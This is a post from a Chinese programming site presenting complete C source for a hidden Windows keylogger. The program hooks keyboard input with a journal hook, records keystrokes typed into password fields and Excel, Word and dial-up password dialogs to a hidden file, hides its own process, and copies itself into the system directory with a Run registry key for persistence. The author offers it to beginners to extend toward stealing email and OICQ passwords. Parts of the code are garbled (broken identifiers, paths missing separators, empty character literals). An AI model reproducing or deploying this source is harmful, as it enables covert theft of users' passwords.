  一個截獲用戶輸入密碼程序
  
  整理東西的時候翻出了個幾年前的程序,功能是當用戶輸入撥號、Excel,Word密碼時,將其保存在一個文件裡。程序用的是日志鉤子,這樣就不用象其他全局HOOK那樣,必須單寫一個DLL。
  為了讓初學者深入了解,將源代碼貼上來,(SDK程序VC,BCB等WIN下的C編譯器均可編譯)象現在那些記錄E-MAIL密碼,OICQ密碼等工具都是這原理,俺當時寫著玩意的時候還沒有OICQ。
  
  有興趣的可以自己加上。
  
  #include <Windows.h>
  #define KeyPMask 0x80000000
  #define SERVICE_PROC 1
  #define UNSERVICE_PROC 0
  #define RUN "GmkMon.exe"
  
  
  typedef struct tagKEYDATA{
  char kKey;
  SHORT kShift;
  SHORT kCaps;
  SHORT kNum;
  BOOL bShift;
  BOOL bCaps;
  BOOL bNum;
  }KEYDATA,*LPKEYDATA;
  
  HHOOK hHook=NULL;
  DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWord);
  
  LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
  LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);
  
  BOOL WINAPI HideProc(int mode)
  {
  HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL");
  if(DLLInst)
  {
  RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWord))
  GetProcAddress(DLLInst,"RegisterServiceProcess");
  if(RegisterServiceProcess)
  {
  RegisterServiceProcess(GetCurrentProcessId(),mode);
  return TRUE;
  }
  else
  return FALSE;
  }
  else return FALSE;
  }
  
  
  BOOL WINAPI IsPassWindow()
  {
  HWND hWnd,curHwnd;
  TCHAR szTemp[MAX_PATH];
  DWord dwsTyle;
  
  hWnd=GetActiveWindow();
  
  if(hWnd==NULL) return FALSE;
  curHwnd =hWnd;
  while(curHwnd!=NULL)
  {
  hWnd=curHwnd;
  curHwnd=GetParent(hWnd);
  }
  
  
  dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
  if(dwsTyle & ES_PASSWord) //普通密碼框
  return TRUE;
  else if(!lstrcmp(szTemp,"EDTBX")) //Excel密碼
  return TRUE;
  else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
  return TRUE; //Word密碼
  
  GetWindowText(hWnd,szTemp, sizeof(szTemp));
  if(!strncmp(szTemp,"連接到",6)) //撥號網絡
  return TRUE;
  
  return FALSE;
  }
  
  
  TCHAR WINAPI GetKey(int nKey)
  {
  KEYDATA kd;
  
  kd.kShift=GetKeyState(VK_SHIFT);
  kd.kCaps=GetKeyState(0x14);
  kd.kNum=GetKeyState(0x90);
  
  kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
  kd.bCaps=(kd.kCaps & 1)==1;
  kd.bNum=(kd.kNum & 1)==1;
  
  if(nKey>=48 && nKey<=57)
  if(!kd.bShift) return (kd.kKey=nKey);
  
  if(nKey>=65 && nKey<=90)
  {
  if(!kd.bCaps)
  if(kd.bShift) kd.kKey=nKey;
  else kd.kKey=nKey+32;
  else if (kd.bShift) kd.kKey=nKey+32;
  else kd.kKey=nKey;
  
  return kd.kKey;
  }
  
  if(nKey>=96 && nKey<=105) // 小鍵盤0-9
  if(kd.bNum)
  return (kd.kKey=(nKey-96+48));
  
  
  if(nKey>=186 && nKey<=222) // 其他鍵
  {
  switch(nKey)
  {
  case 186:
  if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
  break;
  
  case 187:
  if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;
  break;
  
  case 188:
  if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;
  break;
  
  case 189:
  if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;
  break;
  
  case 190:
  if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;
  break;
  
  case 191:
  if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
  break;
  
  case 192:
  if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;
  break;
  
  case 219:
  if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;
  break;
  
  case 220:
  if (!kd.bShift) kd.kKey='' ; else kd.kKey='|' ;
  break;
  
  case 221:
  if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;
  break;
  
  case 222:
  if (!kd.bShift) kd.kKey=''; else kd.kKey='';
  break;
  
  default:kd.kKey='n' ;break;
  }
  if(kd.kKey!='n') return kd.kKey;
  }
  
  }
  
  
  void WINAPI WritePassFile(int nKey)
  {
  HANDLE hFile;
  DWord dwBytesWrite=1;
  TCHAR lpStr,szTemp[MAX_PATH];
  
  hFile=CreateFile("C:passdata.txt",
  GENERIC_READ|GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  OPEN_ALWAYS,
  FILE_ATTRIBUTE_HIDDEN,
  NULL
  );
  
  SetFilePointer(hFile,0,NULL,FILE_END);
  lpStr=GetKey(LOBYTE(nKey));
  WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
  CloseHandle(hFile);
  }
  
  void WINAPI InstallHook(HINSTANCE hInstance)
  {
  if(hHook==NULL)
  hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
  }
  
  
  void WINAPI UninstallHook()
  {
  if(hHook!=NULL)
  UnhookWindowsHookEx(hHook);
  }
  
  
  LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
  {
  
  EVENTMSG *pMess=(EVENTMSG *)lParam;
  POINT pt;
  
  
  switch(pMess->message)
  {
  case WM_KEYDOWN:
  if(IsPassWindow())
  WritePassFile(LOBYTE(pMess->paramL));
  break;
  
  case WM_LBUTTONDBLCLK:
  GetCursorPos(&pt);
  break;
  }
  
  return CallNextHookEx(hHook,nCode,wParam,lParam);
  }
  
  
  int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
  PSTR szCmdLine, int iCmdShow)
  {
  
  
  HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
  if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
  ExitProcess(1);
  }
  
  static char szAppName[] = "jiajia" ;
  HWND hwnd ;
  MSG msg ;
  WNDCLASSEX wndclass ;
  HKEY hKey=0;
  DWord disp=0;
  LONG lResult;
  TCHAR szKey[MAX_PATH];
  TCHAR szSysDir[MAX_PATH+25];
  TCHAR szFileName[MAX_PATH];
  
  wndclass.cbSize = sizeof (wndclass) ;
  wndclass.style = CS_HREDRAW | CS_VREDRAW ;
  wndclass.lpfnWndProc = WndProc ;
  wndclass.cbClsExtra = 0 ;
  wndclass.cbWndExtra = 0 ;
  wndclass.hInstance = hInstance ;
  wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
  wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
  wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
  wndclass.lpszMenuName = NULL ;
  wndclass.lpszClassName = szAppName ;
  wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;
  
  RegisterClassEx(&wndclass);
  
  hwnd=CreateWindow( szAppName, "jia jia",
  WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT, CW_USEDEFAULT,
  CW_USEDEFAULT, CW_USEDEFAULT,
  NULL, NULL, hInstance, NULL
  );
  
  ShowWindow(hwnd,SW_HIDE);
  UpdateWindow(hwnd);
  HideProc(SERVICE_PROC);
  InstallHook(hInstance);
  
  GetSystemDirectory(szSysDir,MAX_PATH);
  lstrcat(szSysDir,RUN);
  GetModuleFileName(NULL,szFileName,MAX_PATH);
  CopyFile(szFileName,szSysDir,FALSE);
  
  lstrcpy(szKey,"SOFTWAREMicrosoftWindowsCurrentVersionRun");
  lResult=RegCreateKeyEx( HKEY_LOCAL_MacHINE,
  szKey,
  0,
  NULL,
  REG_OPTION_VOLATILE,
  KEY_ALL_Access,
  NULL,
  &hKey,
  &disp
  );
  
  if(lResult==ERROR_SUCCESS)
  {
  lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
  RegCloseKey(hKey);
  }
  
  
  while (GetMessage (&msg, NULL, 0, 0))
  {
  TranslateMessage (&msg) ;
  DispatchMessage (&msg) ;
  }
  return msg.wParam ;
  }
  
  LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
  {
  
  switch (iMsg)
  {
  case WM_PAINT:
  return 0 ;
  
  case WM_DESTROY:
  UninstallHook();
  PostQuitMessage (0) ;
  return 0 ;
  }
  
  return DefWindowProc(hwnd,iMsg,wParam,lParam);
  
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved